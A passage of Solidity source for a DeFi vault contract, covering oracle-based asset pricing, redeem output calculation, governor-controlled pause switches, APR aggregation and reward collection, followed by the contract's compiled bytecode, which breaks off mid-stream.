0; // Running total of USD value of assets uint256 assetCount = getAssetCount(); // Initialise arrays // Price of each asset in USD in 1e18 outputs = new uint256[](assetCount); for (uint256 i = 0; i < allAssets.length; i++) { uint256 assetDecimals = Helpers.getDecimals(allAssets[i]); // Get the proportional amount of this token for the redeem in 1e18 uint256 proportionalAmount = _checkBalance(allAssets[i]) .scaleBy(int8(18 - assetDecimals)) .mul(_amount) .div(totalBalance); if (proportionalAmount > 0) { // Running USD total of all coins in the redeem outputs in 1e18 totalOutputValue += proportionalAmount.mulTruncate( assetPrices[i] ); // Save the output amount in the decimals of the asset outputs[i] = proportionalAmount.scaleBy( int8(assetDecimals - 18) ); } } // USD difference in amount of coins calculated due to variations in // price in 1e18 int256 outputValueDiff = int256(_amount - totalOutputValue); // Make up the difference by adding/removing an equal proportion of // each coin according to its USD value for (uint256 i = 0; i < outputs.length; i++) { if (outputs[i] == 0) continue; if (outputValueDiff < 0) { outputs[i] -= uint256(-outputValueDiff).mul(outputs[i]).div( totalOutputValue ); } else if (outputValueDiff > 0) { outputs[i] += uint256(outputValueDiff).mul(outputs[i]).div( totalOutputValue ); } } } /** * @notice Get an array of the supported asset prices in USD. * @return uint256[] Array of asset prices in USD (1e18) */ function _getAssetPrices(bool useMax) internal returns (uint256[] memory assetPrices) { assetPrices = new uint256[](getAssetCount()); IMinMaxOracle oracle = IMinMaxOracle(priceProvider); // Price from Oracle is returned with 8 decimals // _amount is in assetDecimals for (uint256 i = 0; i < allAssets.length; i++) { string memory symbol = Helpers.getSymbol(allAssets[i]); // Get all the USD prices of the asset in 1e18 if (useMax) { assetPrices[i] = oracle.priceMax(symbol).scaleBy(int8(18 - 8)); } else { assetPrices[i] = oracle.priceMin(symbol).scaleBy(int8(18 - 8)); } } } /*************************************** Pause ****************************************/ /** * @dev Set the deposit paused flag to true to prevent rebasing. */ function pauseRebase() external onlyGovernor { rebasePaused = true; } /** * @dev Set the deposit paused flag to true to allow rebasing. */ function unpauseRebase() external onlyGovernor { rebasePaused = false; } /** * @dev Set the deposit paused flag to true to prevent deposits. */ function pauseDeposits() external onlyGovernor { depositPaused = true; emit DepositsPaused(); } /** * @dev Set the deposit paused flag to false to enable deposits. */ function unpauseDeposits() external onlyGovernor { depositPaused = false; emit DepositsUnpaused(); } /*************************************** Utils ****************************************/ /** * @dev Return the number of assets suppported by the Vault. */ function getAssetCount() public view returns (uint256) { return allAssets.length; } /** * @dev Return all asset addresses in order */ function getAllAssets() external view returns (address[] memory) { return allAssets; } /** * @dev Return the number of strategies active on the Vault. */ function getStrategyCount() public view returns (uint256) { return allStrategies.length; } /** * @dev Get the total APR of the Vault and all Strategies. */ function getAPR() external returns (uint256) { if (getStrategyCount() == 0) return 0; uint256[] memory assetPrices = _getAssetPrices(true); uint256 totalAPR = 0; // Get the value from strategies for (uint256 i = 0; i < allStrategies.length; i++) { IStrategy strategy = IStrategy(allStrategies[i]); if (strategy.getAPR() > 0) { totalAPR += _totalValueInStrategy(allStrategies[i], assetPrices) .divPrecisely(_totalValue(assetPrices)) .mulTruncate(strategy.getAPR()); } } return totalAPR; } /** * @dev Transfer token to governor. Intended for recovering tokens stuck in * contract, i.e. mistaken sends. * @param _asset Address for the asset * @param _amount Amount of the asset to transfer */ function transferToken(address _asset, uint256 _amount) external onlyGovernor { IERC20(_asset).transfer(governor(), _amount); } /** * @dev Collect reward tokens from all strategies. */ function collectRewardTokens() external onlyGovernor { for (uint256 i = 0; i < allStrategies.length; i++) { collectRewardTokens(allStrategies[i]); } } /** * @dev Collect reward tokens from a single strategy and transfer them to Vault. * @param _strategyAddr Address of the strategy to collect rewards from */ function collectRewardTokens(address _strategyAddr) public onlyGovernor { IStrategy strategy = IStrategy(_strategyAddr); strategy.collectRewardToken(); } /** * @dev Determines if an asset is supported by the vault. * @param _asset Address of the asset */ function isSupportedAsset(address _asset) external view returns (bool) { return assets[_asset].isSupported; } function _priceUSDMint(string memory symbol) internal returns (uint256) { // Price from Oracle is returned with 8 decimals // scale to 18 so 18-8=10 return IMinMaxOracle(priceProvider).priceMin(symbol).scaleBy(10); } /** * @dev Returns the total price in 18 digit USD for a given asset. * Using Min since min is what we use for mint pricing * @param symbol String symbol of the asset * @return uint256 USD price of 1 of the asset */ function priceUSDMint(string calldata symbol) external returns (uint256) { return _priceUSDMint(symbol); } /** * @dev Returns the total price in 18 digit USD for a given asset. * Using Max since max is what we use for redeem pricing * @param symbol String symbol of the asset * @return uint256 USD price of 1 of the asset */ function _priceUSDRedeem(string memory symbol) internal returns (uint256) { // Price from Oracle is returned with 8 decimals // scale to 18 so 18-8=10 return IMinMaxOracle(priceProvider).priceMax(symbol).scaleBy(10); } /** * @dev Returns the total price in 18 digit USD for a given asset. * Using Max since max is what we use for redeem pricing * @param symbol String symbol of the asset * @return uint256 USD price of 1 of the asset */ function priceUSDRedeem(string calldata symbol) external returns (uint256) { // Price from Oracle is returned with 8 decimals // scale to 18 so 18-8=10 return _priceUSDRedeem(symbol); } }
0x608060405234801561001057600080fd5b50600436106102695760003560e01c80635f51522611610151578063b888879e116100c3578063c9411e2211610087578063c9411e2214610ae6578063d38bfff414610b34578063d4c3eea014610b78578063db006a7514610b96578063eb03654b14610bc4578063f377c47814610bf257610269565b8063b888879e14610a24578063b890ebf614610a6e578063c5f0084114610a9c578063c7af335214610aa6578063c89d5b8b14610ac857610269565b80639be918e6116101155780639be918e6146109365780639fa1826e14610992578063a0aead4d146109b0578063abaa9916146109ce578063af14052c146109d8578063b2c9336d146109f657610269565b80635f5152261461079657806363d8882a146107ee57806367bd7ba3146107f8578063686b37ca1461087b5780638ec489a21461090857610269565b80632acada4d116101ea5780634cd55c2d116101ae5780634cd55c2d146106305780634dab68b31461067457806352d38e5d1461074257806353ca9f24146107605780635a063f63146107825780635d36b1901461078c57610269565b80632acada4d146105175780632f4350c21461057657806331e19cfa14610580578063372aa2241461059e57806340c10f19146105e257610269565b80630c340a24116102315780630c340a24146103905780631072cbea146103da578063175188e8146104285780631edfe3da1461046c57806329a903ec1461048a57610269565b8063021919801461026e57806302befd241461027857806307ea54771461029a57806309f49bf51461036857806309f6442c14610372575b600080fd5b610276610c36565b005b610280610cf9565b604051808215151515815260200191505060405180910390f35b610366600480360360408110156102b057600080fd5b81019080803590602001906401000000008111156102cd57600080fd5b8201836020820111156102df57600080fd5b8035906020019184602083028401116401000000008311171561030157600080fd5b90919293919293908035906020019064010000000081111561032257600080fd5b82018360208201111561033457600080fd5b8035906020019184602083028401116401000000008311171561035657600080fd5b9091929391929390505050610d0c565b005b610370611111565b005b61037a6111a8565b6040518082815260200191505060405180910390f35b6103986111ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610426600480360360408110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111bd565b005b61046a6004803603602081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611305565b005b610474611665565b6040518082815260200191505060405180910390f35b610501600480360360208110156104a057600080fd5b81019080803590602001906401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b909192939192939050505061166b565b6040518082815260200191505060405180910390f35b61051f6116c2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610562578082015181840152602081019050610547565b505050509050019250505060405180910390f35b61057e611750565b005b61058861194b565b6040518082815260200191505060405180910390f35b6105e0600480360360208110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611958565b005b61062e600480360360408110156105f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a16565b005b6106726004803603602081101561064657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f09565b005b6107406004803603604081101561068a57600080fd5b81019080803590602001906401000000008111156106a757600080fd5b8201836020820111156106b957600080fd5b803590602001918460208302840111640100000000831117156106db57600080fd5b9091929391929390803590602001906401000000008111156106fc57600080fd5b82018360208201111561070e57600080fd5b8035906020019184602083028401116401000000008311171561073057600080fd5b9091929391929390505050612186565b005b61074a6123be565b6040518082815260200191505060405180910390f35b6107686123c4565b604051808215151515815260200191505060405180910390f35b61078a6123d7565b005b6107946124b4565b005b6107d8600480360360208110156107ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061254a565b6040518082815260200191505060405180910390f35b6107f661255c565b005b6108246004803603602081101561080e57600080fd5b810190808035906020019092919050505061261f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561086757808201518184015260208101905061084c565b505050509050019250505060405180910390f35b6108f26004803603602081101561089157600080fd5b81019080803590602001906401000000008111156108ae57600080fd5b8201836020820111156108c057600080fd5b803590602001918460018302840111640100000000831117156108e257600080fd5b9091929391929390505050612631565b6040518082815260200191505060405180910390f35b6109346004803603602081101561091e57600080fd5b8101908080359060200190929190505050612688565b005b6109786004803603602081101561094c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061270c565b604051808215151515815260200191505060405180910390f35b61099a612765565b6040518082815260200191505060405180910390f35b6109b861276b565b6040518082815260200191505060405180910390f35b6109d6612778565b005b6109e0612792565b6040518082815260200191505060405180910390f35b610a2260048036036020811015610a0c57600080fd5b8101908080359060200190929190505050612833565b005b610a2c6128b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a9a60048036036020811015610a8457600080fd5b81019080803590602001909291905050506128dd565b005b610aa4612961565b005b610aae6129f8565b604051808215151515815260200191505060405180910390f35b610ad0612a35565b6040518082815260200191505060405180910390f35b610b3260048036036040811015610afc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c44565b005b610b7660048036036020811015610b4a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ed2565b005b610b80612fb9565b6040518082815260200191505060405180910390f35b610bc260048036036020811015610bac57600080fd5b8101908080359060200190929190505050612fd8565b005b610bf060048036036020811015610bda57600080fd5b8101908080359060200190929190505050613022565b005b610c3460048036036020811015610c0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130a6565b005b610c3e6129f8565b610cb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6001603760156101000a81548160ff0219169083151502179055507fdeeb69430b7153361c25d630947115165636e6a723fa8daea4b0de34b324745960405160405180910390a1565b603760159054906101000a900460ff1681565b818190508484905014610d87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f506172616d65746572206c656e677468206d69736d617463680000000000000081525060200191505060405180910390fd5b60008090506060610d986000613189565b905060008090505b603480549050811015610f0f5760008090505b87879050811015610f015760348281548110610dcb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16888883818110610e1857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ef4576000868683818110610e5f57fe5b905060200201351115610ef3576000610eae60348481548110610e7e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661349f565b9050610eed848481518110610ebf57fe5b602002602001015182600a0a898986818110610ed757fe5b905060200201356135989092919063ffffffff16565b85019450505b5b8080600101915050610db3565b508080600101915050610da0565b50603b5482118015610f2e5750603760149054906101000a900460ff16155b15610f3e57610f3c816135cd565b505b60008090505b86869050811015610fc9576000878783818110610f5d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff169050610fbb3330888886818110610f8d57fe5b905060200201358473ffffffffffffffffffffffffffffffffffffffff166137c6909392919063ffffffff16565b508080600101915050610f44565b50603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b505050507f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968853383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1603a54821061110957611108816138cc565b5b505050505050565b6111196129f8565b61118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6000603760146101000a81548160ff021916908315150217905550565b60385481565b60006111b8613c13565b905090565b6111c56129f8565b611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61125b6111ae565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112c557600080fd5b505af11580156112d9573d6000803e3d6000fd5b505050506040513d60208110156112ef57600080fd5b8101908080519060200190929190505050505050565b61130d6129f8565b61137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b603560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5374726174656779206e6f74206164646564000000000000000000000000000081525060200191505060405180910390fd5b6000603680549050905060008090505b6036805490508110156114de578273ffffffffffffffffffffffffffffffffffffffff166036828154811061148257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114d1578091506114de565b8080600101915050611451565b5060368054905081106114ed57fe5b60366001603680549050038154811061150257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166036828154811061153a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060368054809190600190036115979190615e21565b5060008290508073ffffffffffffffffffffffffffffffffffffffff166328a070256040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115e557600080fd5b505af11580156115f9573d6000803e3d6000fd5b505050507f09a1db4b80c32706328728508c941a6b954f31eb5affd32f236c1fd405f8fea483604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1505050565b60395481565b60006116ba83838080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050613c44565b905092915050565b6060603480548060200260200160405190810160405280929190818152602001828054801561174657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116116fc575b5050505050905090565b606061175c6000613189565b9050603b54603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561180057600080fd5b505afa158015611814573d6000803e3d6000fd5b505050506040513d602081101561182a57600080fd5b81019080805190602001909291905050501180156118555750603760149054906101000a900460ff16155b1561186557611863816135cd565b505b611948603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561190757600080fd5b505afa15801561191b573d6000803e3d6000fd5b505050506040513d602081101561193157600080fd5b810190808051906020019092919050505082613d75565b50565b6000603680549050905090565b6119606129f8565b6119d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b80603760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b603760159054906101000a900460ff1615611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4465706f7369747320617265207061757365640000000000000000000000000081525060200191505060405180910390fd5b603360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611b5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4173736574206973206e6f7420737570706f727465640000000000000000000081525060200191505060405180910390fd5b60008111611bd1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b60606000611d24611d08600a603760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166319af6bf0611c248961438d565b6040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c73578082015181840152602081019050611c58565b50505050905090810190601f168015611ca05780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015611cbf57600080fd5b505af1158015611cd3573d6000803e3d6000fd5b505050506040513d6020811015611ce957600080fd5b81019080805190602001909291905050506144da90919063ffffffff16565b611d118661349f565b600a0a856135989092919063ffffffff16565b9050603b5481118015611d445750603760149054906101000a900460ff16155b80611d515750603a548110155b15611d6357611d606000613189565b91505b603b5481118015611d815750603760149054906101000a900460ff16155b15611d9157611d8f826135cd565b505b6000849050611dc33330868473ffffffffffffffffffffffffffffffffffffffff166137c6909392919063ffffffff16565b603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611e6c57600080fd5b505af1158015611e80573d6000803e3d6000fd5b505050507f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968853383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1603a548210611f0257611f01836138cc565b5b5050505050565b611f116129f8565b611f83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b603360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612046576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f417373657420616c726561647920737570706f7274656400000000000000000081525060200191505060405180910390fd5b604051806020016040528060011515815250603360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555090505060348190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550507f4f1ac48525e50059cc1cc6e0e1940ece0dd653a4db4841538d6aef036be2fb7b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b61218e6129f8565b612200576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b81819050848490501461227b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f506172616d65746572206c656e677468206d69736d617463680000000000000081525060200191505060405180910390fd5b60008090505b8484905081101561231a5782828281811061229857fe5b90506020020135603560008787858181106122af57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508080600101915050612281565b507f96f2c15ff9c9cea757ec12e3f9aaa7705c3d0a154ee1e71c6e1221c8de0b7762848484846040518080602001806020018381038352878782818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252858582818152602001925060200280828437600081840152601f19601f820116905080830192505050965050505050505060405180910390a150505050565b603b5481565b603760149054906101000a900460ff1681565b6123df6129f8565b612451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b60008090505b6036805490508110156124b1576124a46036828154811061247457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166130a6565b8080600101915050612457565b50565b6124bc61455b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461253f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180615ee76030913960400191505060405180910390fd5b6125483361458c565b565b60006125558261469c565b9050919050565b6125646129f8565b6125d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6000603760156101000a81548160ff0219169083151502179055507f823084e804e36d8971e8b86749b6b0ace7b9f87ed272bef910c1e72d123eeb4860405160405180910390a1565b606061262a8261493a565b9050919050565b600061268083838080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050614bf6565b905092915050565b6126906129f8565b612702576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b8060398190555050565b6000603360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b603a5481565b6000603480549050905090565b60606127846000613189565b905061278f816138cc565b50565b6000603760149054906101000a900460ff1615612817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5265626173696e6720706175736564000000000000000000000000000000000081525060200191505060405180910390fd5b60606128236000613189565b905061282e816135cd565b505090565b61283b6129f8565b6128ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b80603a8190555050565b603760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6128e56129f8565b612957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b80603b8190555050565b6129696129f8565b6129db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6001603760146101000a81548160ff021916908315150217905550565b6000612a02613c13565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600080612a4061194b565b1415612a4f5760009050612c41565b6060612a5b6001613189565b9050600080905060008090505b603680549050811015612c3a57600060368281548110612a8457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c89d5b8b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612af957600080fd5b505afa158015612b0d573d6000803e3d6000fd5b505050506040513d6020811015612b2357600080fd5b81019080805190602001909291905050501115612c2c57612c278173ffffffffffffffffffffffffffffffffffffffff1663c89d5b8b6040518163ffffffff1660e01b815260040160206040518083038186803b158015612b8357600080fd5b505afa158015612b97573d6000803e3d6000fd5b505050506040513d6020811015612bad57600080fd5b8101908080519060200190929190505050612c19612bca87614d27565b612c0b60368781548110612bda57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689614d43565b614fdc90919063ffffffff16565b61501890919063ffffffff16565b830192505b508080600101915050612a68565b5080925050505b90565b612c4c6129f8565b612cbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f537472617465677920616c72656164792061646465640000000000000000000081525060200191505060405180910390fd5b604051806040016040528060011515815260200182815250603560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015590505060368290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550507f3f008fd510eae7a9e7bee13513d7b83bef8003d488b5a3d0b0da4de71d6846f182604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15050565b612eda6129f8565b612f4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b612f5581615035565b8073ffffffffffffffffffffffffffffffffffffffff16612f74613c13565b73ffffffffffffffffffffffffffffffffffffffff167fa39cc5eb22d0f34d8beaefee8a3f17cc229c1a1d1ef87a5ad47313487b1c4f0d60405160405180910390a350565b60006060612fc76000613189565b9050612fd281614d27565b91505090565b6060612fe46000613189565b9050603b54821180156130045750603760149054906101000a900460ff16155b1561301457613012816135cd565b505b61301e8282613d75565b5050565b61302a6129f8565b61309c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b8060388190555050565b6130ae6129f8565b613120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff16630242241d6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561316d57600080fd5b505af1158015613181573d6000803e3d6000fd5b505050505050565b606061319361276b565b6040519080825280602002602001820160405280156131c15781602001602082028038833980820191505090505b5090506000603760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b6034805490508110156134985760606132406034838154811061321057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661438d565b9050841561336b5761334e600a8473ffffffffffffffffffffffffffffffffffffffff16637bf0c215846040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156132b957808201518184015260208101905061329e565b50505050905090810190601f1680156132e65780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561330557600080fd5b505af1158015613319573d6000803e3d6000fd5b505050506040513d602081101561332f57600080fd5b81019080805190602001909291905050506144da90919063ffffffff16565b84838151811061335a57fe5b60200260200101818152505061348a565b613471600a8473ffffffffffffffffffffffffffffffffffffffff166319af6bf0846040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133dc5780820151818401526020810190506133c1565b50505050905090810190601f1680156134095780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561342857600080fd5b505af115801561343c573d6000803e3d6000fd5b505050506040513d602081101561345257600080fd5b81019080805190602001909291905050506144da90919063ffffffff16565b84838151811061347d57fe5b6020026020010181815250505b5080806001019150506131f1565b5050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156134e857600080fd5b505afa1580156134fc573d6000803e3d6000fd5b505050506040513d602081101561351257600080fd5b810190808051906020019092919050505060ff1690506004811015801561353a575060128111155b61358f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180615e736029913960400191505060405180910390fd5b80915050919050565b6000806135ae848661506490919063ffffffff16565b90506135c383826150ea90919063ffffffff16565b9150509392505050565b6000603760149054906101000a900460ff1615613652576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5265626173696e6720706175736564000000000000000000000000000000000081525060200191505060405180910390fd5b6000603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156136bc57600080fd5b505afa1580156136d0573d6000803e3d6000fd5b505050506040513d60208110156136e657600080fd5b8101908080519060200190929190505050141561370657600090506137c1565b603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166339a7919f61374d84614d27565b6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561378357600080fd5b505af1158015613797573d6000803e3d6000fd5b505050506040513d60208110156137ad57600080fd5b810190808051906020019092919050505090505b919050565b6138c6848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473